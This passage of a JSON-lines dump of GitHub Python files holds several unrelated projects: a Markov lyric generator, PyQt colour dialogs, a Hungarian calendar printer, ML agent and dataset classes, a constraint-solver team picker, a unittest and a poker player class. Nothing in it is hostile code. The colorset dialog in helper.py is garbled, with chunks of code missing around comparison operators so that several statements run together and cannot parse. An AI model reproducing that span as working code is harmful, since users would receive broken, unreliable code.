3.py","file_ext":"py","file_size_in_byte":1445,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"19592339215","text":"import random\nimport sys\nfrom visualization import SongVisual\n#from empty import SongVisual\n#keeping a copy ther\nimport random\nimport string\n\nLETTERSANDPUNCTUATIONS=(string.ascii_uppercase) + (string.ascii_uppercase).lower() + str(\"\\'\")\nNUMLINES=random.randint(4,20)\n\ndef process_line(line):\n '''\n Process a line of text to extract (state, new_word) pairs.\n\n We add the BEGIN and END keywords so that we can initialize the\n sentence and know when the line ends.\n '''\n\n line_list=(line.lower().strip().split())\n line_list.insert(0,'BEGIN')\n line_list.append('END')\n\n\n line=[]\n\n if (line == '') or line == False:\n #cound also use x.isspace()\n return 'empty line'\n\n for i in range(len(line_list)-2):\n if line_list[i]=='END':\n break\n #list_after=line_list[i+1:] list of all the words after this word\n key=str(line_list[i])\n one_after=line_list[i+1]\n two_after=line_list[i+1] +' ' +line_list[i+2]\n if line_list[i+2]=='END':\n two_after=one_after\n #easier to give the tuple a value but it's a repeat so it will be parsed out anyway\n tuple1=(key,one_after,two_after)\n line.append(tuple(tuple1)) #tuples\n\n return line #list of tuples of the word, the words after it\n\ndef process_textfile(filename):\n '''\n Creates a dictionary with transition pairs\n based on a file provided\n\n For the first part of the assignment, we use a\n placeholder text that you will have to replace\n at some point.\n\n Based on the placeholder text, the dictionary\n should contain the following key-value pairs:\n\n 'blue,': ['END']\n 'by': ['yellow', 'day.', 'day?']\n 'still': ['hopping', 'going']\n '''\n d = {}\n\n for lines in open(filename, 'r'):\n if ',' in lines:\n # IS THERE A WAY TO HAVE AFTER A COMMA COUNT AS A NEW SENTENCE?\n split_line=lines.split(',')\n for line in split_line:\n line_clean=no_punct(line)\n line=process_line(line_clean)\n put_into_dictionary(d,line)\n else:\n line_clean=no_punct(lines)\n line=process_line(line_clean)\n put_into_dictionary(d,line)\n\n #realized that anything after 'and' would usually make a good new sentence starter\n beginners=d.get('BEGIN')\n beginners.extend(d.get('and'))\n d['BEGIN']=beginners\n\n return d\n\ndef no_punct(line):\n clean_str=''\n for i in range(len(line)):\n if line[i] not in LETTERSANDPUNCTUATIONS:\n clean_str += ' '\n continue\n else:\n clean_str += line[i]\n return clean_str\n\ndef put_into_dictionary(d, line):\n if line == 'empty line':\n return d\n for elem in line:\n if elem[0] in d.keys():\n oldlist=d.get(elem[0])\n if elem[1] not in oldlist:\n oldlist.append(elem[1])\n #cann take out last line if you dont want the word after, just 2 words\n oldlist.append(elem[2])\n d[elem[0]]=oldlist\n else:\n new_list=[]\n new_list.append(elem[1])\n #cann take out last line if you dont want the word after, just 2 words\n new_list.append(elem[2])\n d[elem[0]]=new_list\n #need to account for repeat words\n return d\n\ndef generate_line(d):\n \"\"\"\n Generates a random sentence based on the dictionary\n with transition pairs\n \"\"\"\n sentence=''\n #random.choice to pick a random element from a list\n next=random.choice(d.get('BEGIN'))\n #first is BEGIN but we don't want to use it\n\n while next != 'stop':\n sentence += (str(next)+' ')\n if ' ' in next:\n last_word=(next.split())[1]\n else:\n last_word=next\n next=next_word(last_word)\n return sentence\n\ndef next_word(last_word):\n if not d.get(last_word):\n return 'stop'\n word = random.choice(d.get(last_word))\n if word == 'END':\n return 'stop'\n else:\n return word\n\nif __name__ == '__main__':\n if len(sys.argv) != 2:\n print ('ERROR: Run as python markov.py ')\n exit()\n\n d = process_textfile(sys.argv[1])\n #it creates a dictionary from the texts that I put in the file I call as first argument\n\n print(d)\n\n #news_song=\n # #import new song class stufff - making a visual of these song lines\n newsong= []\n for i in range(NUMLINES):\n line = str(generate_line(d))\n newsong.append(no_punct(line))\n\n visualize_song=SongVisual(newsong)\n\n #put line onto canvas for the class\n","repo_name":"rockness26/koldemama","sub_path":"generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":4627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"7636335632","text":"#! /usr/bin/env python3\n# -*- coding: utf-8 -*-\n#\nimport sys, time, os, shlex\nimport numpy, cv2\nfrom subprocess import *\nfrom TouchStyle import *\nfrom threading import Timer\nfrom TouchAuxiliary import *\n\ntry:\n if TouchStyle_version<1.2:\n print(\"aux: TouchStyle >= v1.2 not found!\") \nexcept:\n print(\"aux: TouchStyle_version not found!\")\n TouchStyle_version=0\n\nlocal = os.path.dirname(os.path.realpath(__file__)) + \"/icons/\"\n\nclass myColorRequest(TouchDialog):\n \"\"\" \n Opens up a window containing a list of items and returns the item selected by the user\n \n ******** function call **********\n m = TouchAuxColorRequest(title:str, initcolor:QColor(), parent:class)\n (int:QColor)=m.exec_()\n ******** parameters *************\n \n title:str Title of the input window\n parent:class Parent class\n \n ******** Return values **********\n success:bool True for user confirmed selection, False for user aborted selection\n result:str selected item in case of success==True or None in case of success=False\n \"\"\"\n \n def __init__(self,title:str, initcolor, parent=None):\n TouchDialog.__init__(self,title,parent) \n \n self.result=None\n self.initcolor=initcolor\n self.title=title\n self.confbutclicked=False\n \n def on_button(self):\n self.result=self.sender().text()\n self.close()\n \n def exec_(self):\n self.layout=QVBoxLayout()\n \n # the message\n self.l_color=QLabel()\n self.l_color.setObjectName(\"smalllabel\")\n self.l_color.setAlignment(Qt.AlignCenter)\n self.layout.addWidget(self.l_color)\n \n self.layout.addStretch()\n \n self.s_red=QSlider()\n self.s_red.setOrientation(Qt.Horizontal)\n self.s_red.setRange(0,255)\n self.s_red.setSingleStep(1)\n self.s_red.setPageStep(1)\n self.s_red.setValue(self.initcolor.red())\n self.s_red.valueChanged.connect(self.on_color_update)\n self.layout.addWidget(self.s_red)\n\n self.layout.addStretch()\n \n self.s_green=QSlider()\n self.s_green.setOrientation(Qt.Horizontal)\n self.s_green.setRange(0,255)\n self.s_green.setSingleStep(1)\n self.s_green.setPageStep(1)\n self.s_green.setValue(self.initcolor.green())\n self.s_green.valueChanged.connect(self.on_color_update)\n self.layout.addWidget(self.s_green)\n \n self.layout.addStretch()\n \n self.s_blue=QSlider()\n self.s_blue.setOrientation(Qt.Horizontal)\n self.s_blue.setRange(0,255)\n self.s_blue.setSingleStep(1)\n self.s_blue.setPageStep(1)\n self.s_blue.setValue(self.initcolor.blue())\n self.s_blue.valueChanged.connect(self.on_color_update)\n self.layout.addWidget(self.s_blue)\n \n self.layout.addStretch()\n \n self.cbox=QLabel()\n self.cbox.setPixmap(QPixmap(240,40))\n self.layout.addWidget(self.cbox)\n \n self.layout.addStretch()\n if TouchStyle_version >=1.3:\n self.setCancelButton()\n confirmbutton=self.addConfirm()\n confirmbutton.clicked.connect(self.on_button)\n else:\n self.layout.addStretch()\n okb=QPushButton(\"Okay\")\n okb.clicked.connect(self.on_button)\n self.layout.addWidget(okb)\n \n self.on_color_update()\n self.centralWidget.setLayout(self.layout) \n \n TouchDialog.exec_(self)\n \n if self.confbutclicked or self.result!=None: return True,QColor(self.s_red.value(),self.s_green.value(), self.s_blue.value())\n return False,None\n \n def on_color_update(self):\n self.l_color.setText(\n \"R \"+(\"00\"+str(self.s_red.value()))[-3:]+\" :\"+\n \"G \"+(\"00\"+str(self.s_green.value()))[-3:]+\": \"+\n \"B \"+(\"00\"+str(self.s_blue.value()))[-3:])\n p=QPainter()\n p.begin(self.cbox.pixmap())\n p.fillRect(0,0,240,40,QColor(self.s_red.value(),self.s_green.value(), self.s_blue.value()))\n self.cbox.update()\n self.update()\n\nclass colorset(TouchDialog):\n \"\"\" \n Opens up a window containing a list of items and returns the item selected by the user\n \n ******** function call **********\n m = colorset(title:str, colors[]:QColor, parent:class)\n (success, colors)=m.exec_()\n ******** parameters *************\n \n title:str Title of the input window\n parent:class Parent class\n \n ******** Return values **********\n success:bool True for user confirmed selection, False for user aborted selection\n result:QColor[] array of colors or None in case of success=False\n \"\"\"\n \n def __init__(self,title:str, colors, parent=None):\n TouchDialog.__init__(self,title,parent) \n \n self.result=None\n self.colors=colors\n \n self.title=title\n self.confbutclicked=False\n \n def on_button(self):\n self.result=self.sender().text()\n self.close()\n \n def colorgrid(self):\n colcnt = len(self.colors)\n cpr=8\n \n k=QVBoxLayout()\n c=QHBoxLayout()\n \n for i in range(32):\n s = i % cpr\n z = i // cpr\n if s==0:\n if i>0:\n c.addStretch()\n k.addLayout(c)\n c=QHBoxLayout()\n \n self.b=TouchAuxPicButton(QPixmap(28,28))\n p=QPainter()\n p.begin(self.b.pixmap)\n if icnc:\n for i in range(cnc,r): self.addcolor()\n if r=1.3:\n self.setCancelButton()\n confirmbutton=self.addConfirm()\n confirmbutton.clicked.connect(self.on_button)\n else:\n self.layout.addStretch()\n okb=QPushButton(\"Okay\")\n okb.clicked.connect(self.on_button)\n self.layout.addWidget(okb)\n \n self.on_color_update()\n \n def exec_(self):\n self.mode=\"\"\n self.set_layout()\n\n self.centralWidget.setLayout(self.layout) \n \n TouchDialog.exec_(self)\n \n if self.confbutclicked or self.result!=None: return True,self.colors\n return False,None\n \n def on_color_update(self):\n return\n self.l_color.setText(\n \"R \"+(\"00\"+str(self.s_red.value()))[-3:]+\" :\"+\n \"G \"+(\"00\"+str(self.s_green.value()))[-3:]+\": \"+\n \"B \"+(\"00\"+str(self.s_blue.value()))[-3:])\n p=QPainter()\n p.begin(self.cbox.pixmap())\n p.fillRect(0,0,240,40,QColor(self.s_red.value(),self.s_green.value(), self.s_blue.value()))\n self.cbox.update()\n self.update()\n","repo_name":"ftCommunity/ftcommunity-apps","sub_path":"packages/BenoiTXT/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":13258,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"52"} +{"seq_id":"41299772953","text":"\ndef date_to_days(y, m, d):\n \"\"\"A Gergely-naptár szerinti időszámítás nulladik napjától a paraméterben megadott dátumig visszaadja a napok számát.\n Returns the number of days from the zero day of the Gregorian calendar to the date specified in the parameter.\"\"\"\n m = (m + 9) % 12\n y = y - m // 10\n return 365 * y + y // 4 - y // 100 + y // 400 + (m * 306 + 5) // 10 + d - 1\n\ndef days_of_month(y, m):\n \"\"\"A hónapokhoz tartozó napok számát adja vissza. Februárban figyelembe veszi a szökőéveket is.\n Returns the number of days in the month. In February, the leap years are also taken into account.\"\"\"\n dom = [31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31]\n feb = 28\n if y % 4 == 0:\n feb = 29\n if y % 100 == 0:\n feb = 28\n if y % 400 == 0:\n feb = 29\n dom[1] = feb\n return dom[m % 12]\n\n\nclass Month:\n\n # header_week = 'hétf kedd szer csüt pént szom vasn'\n # header_week = 'hét ked sze csü pén szo vas'\n header_week = 'hé ke sz cs pé sz va'\n fam_day = '1848-03-15, 2' # A 19. századi magyar forradalom, mint minden menő projekt, a hét közepén, szerdán kedődött. The 19th century Hungarian revolution, like all cool projects, began on Wednesday in the middle of the week.\n months = [\n 'január', 'február', 'március',\n 'április', 'május', 'június',\n 'július', 'augusztus', 'szeptember',\n 'október', 'november', 'december']\n\n def __init__(self, year, month):\n self.year = year\n self.month = month\n\n def __str__(self):\n return self.month_view()\n\n def month_view(self):\n h = self.lhw()\n days_list = [self.strd(d) for d in self.days_numb()]\n days_str = (h // 7 + 1) * self.firs_day_ident( )* ' '\n days_str += (h // 7 - 2) * ' '\n days_str += ((h // 7 - 1) * ' ').join(days_list)\n days_str += (h * 6 - len(days_str) + 5) * ' '\n month_str = (str(self.year) + '. ' + self.months[(self.month - 1) % 12]).center(h) + '\\n'\n month_str +=(self.header_week) + '\\n'\n for i in range(len(days_str) // h + 2):\n month_str += days_str[(h + 1) * i:(h + 1) * (i + 1) - 1] + '\\n'\n return month_str\n\n def strd(self, d):\n \"\"\"Az egyjegyű napsorszámokat jobbra igazítja.\n Aligns single-digit day numbers to the right.\"\"\"\n return str(d) if d > 9 else ' ' + str(d)\n\n def firs_day_ident(self):\n \"\"\"Megadja a napsorszámokat tartalmazó karakterlánc első sorának behúzását.\n Specifies to indent the first line of the string containing the date numbers.\"\"\"\n return (date_to_days(self.year, self.month, 1) - self.days_of_fam_day())%7\n\n def days_numb(self):\n \"\"\"Az aktuális hónap napsorszámokat tartalmazó listáját adja vissza.\n Returns with the list of date numbers of the current month.\"\"\"\n return [d for d in range(1, days_of_month(self.year, (self.month - 1) % 12) + 1)]\n\n @classmethod\n def lhw(cls):\n return len(cls.header_week)\n\n @classmethod\n def days_of_fam_day(cls):\n datum, weekday = [el for el in cls.fam_day.strip().split(',')]\n y, m, d = [int(el) for el in datum.split('-')]\n return date_to_days(y, m, d) - int(weekday)\n\n\nclass Calendar:\n\n def __init__(self, year, month=None):\n self.year = year\n self.month = month\n self.col = 4\n self.row = 3\n self.col_gap = 6\n self.months = [Month(year, m) for m in range(self.col * self.row + 1)]\n\n def __str__(self):\n return self.calendar_view()\n\n def calendar_view(self):\n if self.month is not None:\n m = Month(self.year, self.month)\n result = str(m)\n else:\n pm = [self.months[i] for i in range(1, self.col * self.row + 1)]\n result = ''\n for r in range(self.row):\n calstr = ['' for _ in range(10)]\n for c in range(self.col):\n for i in range(10):\n calstr[i] += str(pm[r * self.col + c]).splitlines()[i] + ' ' * self.col_gap\n for l in calstr:\n result += l + '\\n'\n return '\\n\\n' + result\n\n\nif __name__ == '__main__':\n a = Calendar(2020,2)\n print(a)\n","repo_name":"Janick7/print-calendar","sub_path":"calendar.py","file_name":"calendar.py","file_ext":"py","file_size_in_byte":4315,"program_lang":"python","lang":"hu","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"9215255428","text":"\"\"\"\nDesign pattern: since each model has it's own data, we wrap each model in an agent class that can take care of the\nspecifics of the data manipulation form a batch. e.g. if they are tensors, or symbolic objects or NL etc.\n\nNote:\n - the forward functions are used in training so calling .item() on the values it returns will create issues for\n training.\n\"\"\"\nfrom argparse import Namespace\n\nimport numpy as np\nimport torch\nfrom torch import nn, Tensor\n\nfrom uutils.torch_uu.agents.common import Agent\nfrom uutils.torch_uu.distributed import process_batch_ddp\nfrom uutils.torch_uu.metrics.confidence_intervals import mean_confidence_interval\nfrom uutils.torch_uu.metrics.metrics import accuracy\n\nfrom pdb import set_trace as st\n\n\nclass ClassificationSLAgent(Agent):\n\n def __init__(self,\n args: Namespace,\n model: nn.Module,\n ):\n super().__init__()\n self.args = args\n self.model = model\n if hasattr(args, 'loss'):\n self.loss = nn.CrossEntropyLoss() if args.loss is not None else args.loss\n self.criterion = args.loss\n\n def forward(self, batch: Tensor, training: bool = True) -> tuple[Tensor, Tensor]:\n \"\"\"\n Note:\n - does not need get_lists_accs_losses (in contrast to meta-learning) because in meta-learning with episodic\n meta-learning we always compute the list of losses/accs for both forward & eval pass. But in SL we only\n need the list info when explicitly needed and in eval (so we can compute CIs). Basically, the train forward\n in eval just returns the single float/tensor element for loss/acc -- doesn't explicitly use the iter representations.\n \"\"\"\n self.model.train() if training else self.model.eval()\n batch_x, batch_y = process_batch_ddp(self.args, batch)\n logits: Tensor = self.model(batch_x)\n loss: Tensor = self.loss(logits, batch_y)\n acc, = accuracy(logits, batch_y)\n assert loss.size() == torch.Size([])\n assert acc.size() == torch.Size([])\n return loss, acc\n\n def eval_forward(self, batch: Tensor, training: bool = False) -> tuple[Tensor, Tensor, Tensor, Tensor]:\n \"\"\"\n Note:\n - reason this is different than forward is because we have a torch.no_grad() and because in eval we are\n also returning the CI's, so we need to get the flat tensor/list/iterable to compute those, so we can't just\n get the loss as it's usually done in forward passes in pytorch that only return the loss/acc. We use the\n accs & losses info basically.\n \"\"\"\n batch_x, batch_y = process_batch_ddp(self.args, batch)\n B: int = batch_x.size(0)\n with torch.no_grad(): # note, this might not be needed in meta-eval due to MAML using grads at eval\n # - to make sure we get the [B] tensor to compute confidence intervals/error bars\n loss, acc = self.get_lists_accs_losses(batch, training)\n assert loss.size() == torch.Size([B])\n assert acc.size() == torch.Size([B])\n\n # - stats, compute this in context manager to avoid memory issues (perhaps not needed but safer)\n eval_loss_mean, eval_loss_ci = mean_confidence_interval(loss)\n eval_acc_mean, eval_acc_ci = mean_confidence_interval(acc)\n return eval_loss_mean, eval_loss_ci, eval_acc_mean, eval_acc_ci\n\n def get_lists_accs_losses(self, batch: Tensor,\n training: bool,\n as_list_floats: bool = False,\n as_numpy_data: bool = False, # careful, if NOT set you might get GPU memory issues\n ) -> tuple[iter, iter]:\n \"\"\"\n Note:\n - train doesn't need this but eval does. Also, it could be useful to get lists to do other analysis with them if needed.\n \"\"\"\n # -- get data\n batch_x, batch_y = process_batch_ddp(self.args, batch)\n B: int = batch_x.size(0)\n\n # -- get ready to collect losses and accs\n original_reduction: str = self.loss.reduction\n self.loss.reduction = 'none'\n self.model.train() if training else self.model.eval()\n\n # -- \"forward\"\n logits: Tensor = self.model(batch_x)\n loss: Tensor = self.loss(logits, batch_y)\n acc, = accuracy(logits, batch_y, reduction='none')\n assert loss.size() == torch.Size([B])\n assert acc.size() == torch.Size([B])\n\n # -- convert losses & accs to list of floats\n if as_list_floats:\n loss: list[float] = loss.detach().cpu().numpy().tolist()\n acc: list[float] = acc.detach().cpu().numpy().tolist()\n\n if as_numpy_data:\n loss: np.ndarray = loss.detach().cpu().numpy()\n acc: np.ndarray = acc.detach().cpu().numpy()\n\n # - return loss to normal\n self.loss.reduction = original_reduction\n self.model.train()\n return loss, acc\n\n\nclass RegressionSLAgent(Agent):\n \"\"\"\n todo - main difference is to use R2 score (perhaps squeezed, for accuracy instead of loss), and\n to make sure it has the options for reduction.\n \"\"\"\n\n def __init__(self, model: nn.Module, loss: nn.Module):\n super().__init__()\n self.model = model\n self.loss = loss\n","repo_name":"brando90/ultimate-utils","sub_path":"ultimate-utils-proj-src/uutils/torch_uu/agents/supervised_learning.py","file_name":"supervised_learning.py","file_ext":"py","file_size_in_byte":5372,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"52"} +{"seq_id":"31327574595","text":"import pandas as pd\nfrom torch.utils.data.dataset import Dataset\nimport csv\nfrom nltk.tokenize import sent_tokenize, word_tokenize\nimport numpy as np\nimport pickle\n\n\ndef get_label(label):\n try:\n return eval(label.strip())[0]\n except Exception as e:\n pass\n\n return label\n\n# add visualize\n\n\nclass MyDataset(Dataset):\n def __init__(self, data_path, label_path, label_namesFile, ImportanceFeatureMatsFile, model_gensim, max_vocab, training_inds, childLabel2ParentLabelFile=None, test_this_label=None, dataset=None, descriptor_HANsFile=None, VvFile=None, max_length_sentences_given=None, max_length_word_given=None):\n if VvFile:\n self.Vv = pickle.load(open(VvFile, 'rb'))\n self.dataset = dataset\n super(MyDataset, self).__init__()\n\n texts, labels = [], []\n max_length_sentences = 0\n max_length_word = 0\n count = 0\n docind_withMaxLength = 0\n text_lines = open(data_path).readlines()\n labels_lines = [l.strip() for l in open(label_path).readlines()]\n training_labels = [labels_lines[i] for i in training_inds]\n\n if descriptor_HANsFile:\n descriptor_HANsFile = open(descriptor_HANsFile).readlines()\n self.model_gensim = model_gensim\n self.additional_info = []\n\n ImportanceFeatureMatsOriginal = pickle.load(open(ImportanceFeatureMatsFile, 'rb'))\n ImportanceFeatureMats = []\n\n class_ids = pickle.load(open(label_namesFile, 'rb'))\n if childLabel2ParentLabelFile:\n self.childLabel2ParentLabel = pickle.load(open(childLabel2ParentLabelFile, 'rb'))\n class_id2ind = {id: ind for ind, id in enumerate(class_ids)}\n\n for i, (line, label) in enumerate(zip(text_lines, labels_lines)):\n label = get_label(label.strip())\n\n if label not in class_id2ind:\n break\n\n if training_inds and i not in training_inds:\n continue\n if test_this_label and test_this_label != label:\n continue\n\n label_id = class_id2ind.get(label)\n labels.append(label_id)\n ImportanceFeatureMats.append(ImportanceFeatureMatsOriginal[i])\n self.additional_info.append('index_in_input {}'.format(i))\n\n if descriptor_HANsFile:\n self.additional_info[-1] += ' original: {}'.format(descriptor_HANsFile[i])\n\n super_con = []\n super_concepts = line.strip().split('. ')\n if(len(super_concepts) > max_length_sentences):\n max_length_sentences = len(super_concepts)\n docind_withMaxLength = count\n for super_concept in super_concepts:\n concept = super_concept.split(' ')\n if(len(concept) > max_length_word):\n max_length_word = len(concept)\n super_con.append(concept)\n texts.append(super_con)\n count += 1\n\n self.text_lines = text_lines\n self.texts = texts\n self.labels = labels\n self.ImportanceFeatureMats = ImportanceFeatureMats\n self.labels_list = class_ids\n self.class_id2ind = class_id2ind\n self.index_dict = self.model_gensim.wv.index2word[:max_vocab]\n self.vocab_dict = {}\n for index, value in enumerate(self.index_dict[:max_vocab]):\n self.vocab_dict[value] = index\n\n self.sent_feature_len = self.ImportanceFeatureMats[0].shape[1]\n self.max_length_sentences = max_length_sentences\n if max_length_sentences_given:\n self.max_length_sentences = max(self.max_length_sentences, max_length_sentences_given)\n self.max_length_word = max_length_word\n if max_length_word_given:\n self.max_length_word = max(self.max_length_word, max_length_word_given)\n\n self.num_classes = len(self.class_id2ind)\n print('self.labels_list', self.labels_list)\n print('max_length_sentences', max_length_sentences)\n print('max_length_word', max_length_word)\n print('num_classes: ', self.num_classes)\n print('num_docs: ', len(self.texts))\n\n def __len__(self):\n return len(self.labels)\n\n def __getitem__(self, index):\n label = self.labels[index]\n text = self.texts[index]\n additional_info = self.additional_info[index]\n\n ImportanceFeatureMat = self.ImportanceFeatureMats[index]\n try:\n ImportanceFeatureMat_padded = np.zeros(\n (self.max_length_sentences, ImportanceFeatureMat.shape[1]))\n except Exception as e:\n import ipdb\n ipdb.set_trace()\n raise e\n ImportanceFeatureMat_padded[:ImportanceFeatureMat.shape[0]] = ImportanceFeatureMat\n\n document_encode = [\n [self.vocab_dict[word] if word in self.vocab_dict else -1 for word in sentences] for sentences\n in text]\n\n for sentences in document_encode:\n if len(sentences) < self.max_length_word:\n extended_words = [-1 for _ in range(self.max_length_word - len(sentences))]\n sentences.extend(extended_words)\n\n if len(document_encode) < self.max_length_sentences:\n extended_sentences = [[-1 for _ in range(self.max_length_word)] for _ in\n range(self.max_length_sentences - len(document_encode))]\n document_encode.extend(extended_sentences)\n\n document_encode = [sentences[:self.max_length_word] for sentences in document_encode][\n :self.max_length_sentences]\n\n document_encode = np.stack(arrays=document_encode, axis=0)\n document_encode += 1\n\n return document_encode.astype(np.int64), ImportanceFeatureMat_padded, label, index, additional_info\n\n def doc_tensor2doc(self, t):\n texts = [self.index_dict[i - 1] if i > 0 else '' for i in t.data.cpu().numpy().reshape(-1)]\n return texts\n\n\nif __name__ == '__main__':\n test = MyDataset(data_path=\"/disk/home/klee/data/cs_merged_tokenized_superspan_HANs.txt\",\n label_path='/disk/home/klee/data/cs_merged_label', dict_path=\"/disk/home/klee/data/cs_merged_tokenized_dictionary.bin\")\n print(test[0])\n print(test.__getitem__(index=1)[0].shape)\n","repo_name":"kleeeeea/Hiercon","sub_path":"similarity_aggregation/src/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":6259,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"52"} +{"seq_id":"14764545111","text":"from constraint import *\n\n\ndef checkSum(t_l, t_m1, t_m2, t_m3, t_m4, t_m5):\n team_lider_weight = t_l\n team_member1 = t_m1\n team_member2 = t_m2\n team_member3 = t_m3\n team_member4 = t_m4\n team_member5 = t_m5\n total_score = team_lider_weight + team_member1 + team_member2 + team_member3 + team_member4 + team_member5\n if 0 < total_score <= 100.0:\n return True\n # togas ovaa kombinacija e validna moze da se racuna kako rezultat\n else:\n return None\n # togas ovaa kombinacija na vrednosti ne gi zadovoluva uslovite\n\n\nif __name__ == '__main__':\n problem = Problem()\n\n total_score = 0.0\n number_members = int(input())\n\n i = 0\n t_m_names = []\n t_m_weights = []\n\n while i < number_members:\n line = input().split(\" \")\n number = float(line[0])\n t_m_weights.append(number)\n name = str(line[1])\n t_m_names.append(name)\n i += 1\n\n number_leaders = int(input())\n\n j = 0\n t_l_names = []\n t_l_weights = []\n\n while j < number_leaders:\n line = input().split(\" \")\n number = float(line[0])\n t_l_weights.append(number)\n name = str(line[1])\n t_l_names.append(name)\n j += 1\n\n t_m_names.reverse()\n t_m_weights.reverse()\n\n t_l_names.reverse()\n t_l_weights.reverse()\n\n problem.addVariable('1', t_l_weights)\n problem.addVariable('2', t_m_weights)\n problem.addVariable('3', t_m_weights)\n problem.addVariable('4', t_m_weights)\n problem.addVariable('5', t_m_weights)\n problem.addVariable('6', t_m_weights)\n problem.addConstraint(AllDifferentConstraint(), ['1'])\n\n for i in range(2, 7):\n for j in range(2, 7):\n if i < j:\n problem.addConstraint(lambda a, b: a != b, (f'{i}', f'{j}'))\n problem.addConstraint(checkSum, ['1', '2', '3', '4', '5', '6'])\n\n solutions = problem.getSolutions()\n\n optimal_team = dict()\n max_score = 0\n total_score = 0\n number_of_optimal_team = 0\n\n for index in range(0, len(solutions)):\n for k in solutions[index].keys():\n total_score += solutions[index][k]\n if total_score == 100.0:\n max_score = total_score\n number_of_optimal_team = index\n else:\n total_score = 0\n\n optimal_team = solutions[number_of_optimal_team]\n\n t_l_index = t_l_weights.index(optimal_team[\"1\"])\n t_m1_index = t_m_weights.index(optimal_team[\"2\"])\n t_m2_index = t_m_weights.index(optimal_team[\"3\"])\n t_m3_index = t_m_weights.index(optimal_team[\"4\"])\n t_m4_index = t_m_weights.index(optimal_team[\"5\"])\n t_m5_index = t_m_weights.index(optimal_team[\"6\"])\n\n print(f'Total score: {max_score}')\n print(f'Team leader: {t_l_names[t_l_index]}')\n print(f'Participant 1: {t_m_names[t_m1_index]}')\n print(f'Participant 2: {t_m_names[t_m2_index]}')\n print(f'Participant 3: {t_m_names[t_m3_index]}')\n print(f'Participant 4: {t_m_names[t_m4_index]}')\n print(f'Participant 5: {t_m_names[t_m5_index]}')","repo_name":"StefBelcev/PythonCourse","sub_path":"exercises/lab02/optimal_team4.py","file_name":"optimal_team4.py","file_ext":"py","file_size_in_byte":3017,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"71392812326","text":"import sys\nsys.path.append('.')\nimport day2\nfrom day2 import checksum\nfrom day2 import findboxes\nimport unittest\n\nclass TestDay2(unittest.TestCase):\n def test_checksum(self):\n ids = [\n \"abcdef\",\n \"bababc\",\n \"abbcde\",\n \"abcccd\",\n \"aabcdd\",\n \"abcdee\",\n \"ababab\"\n ]\n self.assertEqual(12, day2.checksum(ids))\n\n def test_findboxes(self):\n ids2 = [\n \"abcde\",\n \"fghij\",\n \"klmno\",\n \"pqrst\",\n \"fguij\",\n \"axcye\",\n \"wvxyz\"\n ]\n self.assertEqual('fgij', day2.findboxes(ids2))\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"avecci/AoC2018","sub_path":"test/test_day2.py","file_name":"test_day2.py","file_ext":"py","file_size_in_byte":713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"5088585427","text":"import names\n\nPLAYER_ACTIONS = [\"FOLD\", \"CHECK\", \"CALL\", \"ALL_IN\", \"RAISE_50\", \"RAISE_75\", \"RAISE_100\"]\n\nclass Player:\n # general\n chips = 0\n INITIAL_CHIPS = 0\n name = \"\"\n \n # game\n hand = None # Card Tuple\n \n # round\n bet = 0\n action_completed = False\n is_all_in = False\n is_folded = False\n \n def __init__(self, chips):\n self.chips = chips\n self.INITIAL_CHIPS = chips\n self.name = names.get_first_name()\n\n def __str__(self):\n return self.name\n\n def __repr__(self):\n return self.name\n\n def buy_in(self, value):\n self.chips += value\n\n def give_hand(self, card1, card2): # hand = (Card, Card)\n self.hand = (card1, card2)\n\n def soft_reset(self):\n self.bet = 0\n self.action_completed = False\n\n def hard_reset(self):\n if self.chips == 0:\n self.chips += self.INITIAL_CHIPS\n self.bet = 0\n self.action_completed = False\n self.is_all_in = False\n self.is_folded = False\n\n # cool methods:\n\n def ask_for_action(self, entire_pot, highest_bet):\n check_is_possible = highest_bet == self.bet\n call_is_possible = (highest_bet - self.bet) < self.chips and not check_is_possible\n raise_50_is_possible = (entire_pot + (highest_bet - self.bet)) * 1.5 < self.chips\n raise_75_is_possible = (entire_pot + (highest_bet - self.bet)) * 1.75 < self.chips\n raise_100_is_possible = (entire_pot + (highest_bet - self.bet)) * 2 < self.chips\n\n possible_actions = ['FOLD', 'ALL_IN']\n if check_is_possible:\n possible_actions.append('CHECK')\n if call_is_possible:\n possible_actions.append('CALL')\n if raise_50_is_possible:\n possible_actions.append('RAISE_50')\n if raise_75_is_possible:\n possible_actions.append('RAISE_75')\n if raise_100_is_possible:\n possible_actions.append('RAISE_100')\n\n \"\"\"\n self.action_completed = True\n if check_is_possible:\n return \"CHECK\"\n elif call_is_possible:\n return \"CALL\"\n else:\n return \"FOLD\"\n \"\"\"\n\n action = None\n if True:\n print(f\"Hi {self.name}!\")\n print(f\"You have {str(self.hand[0])} and {str(self.hand[1])}\")\n print(f\"Your current bet is {self.bet}\")\n print(f\"You have {self.chips} chips\")\n print(f\"The current pot is {entire_pot}\")\n print(f\"The highest bet is {highest_bet}\")\n if call_is_possible:\n print(f\"You need {highest_bet - self.bet} to call\")\n while not action in possible_actions:\n action = input(f\"What do you want to do? ({', '.join(possible_actions)}) \").upper()\n \n self.action_completed = True\n return action\n\n def set_bet(self, value):\n chips_to_pay = value - self.bet\n self.chips -= chips_to_pay\n self.bet = value\n\n def raise_bet(self, entire_pot, highest_bet, percentage):\n goal = (entire_pot + (highest_bet - self.bet)) * percentage\n\n rounded_goal = round(goal * 2) / 2\n\n self.set_bet(rounded_goal)\n\n\n","repo_name":"TokeyChan/poker","sub_path":"game/classes/player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":3198,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"1538151272","text":"import 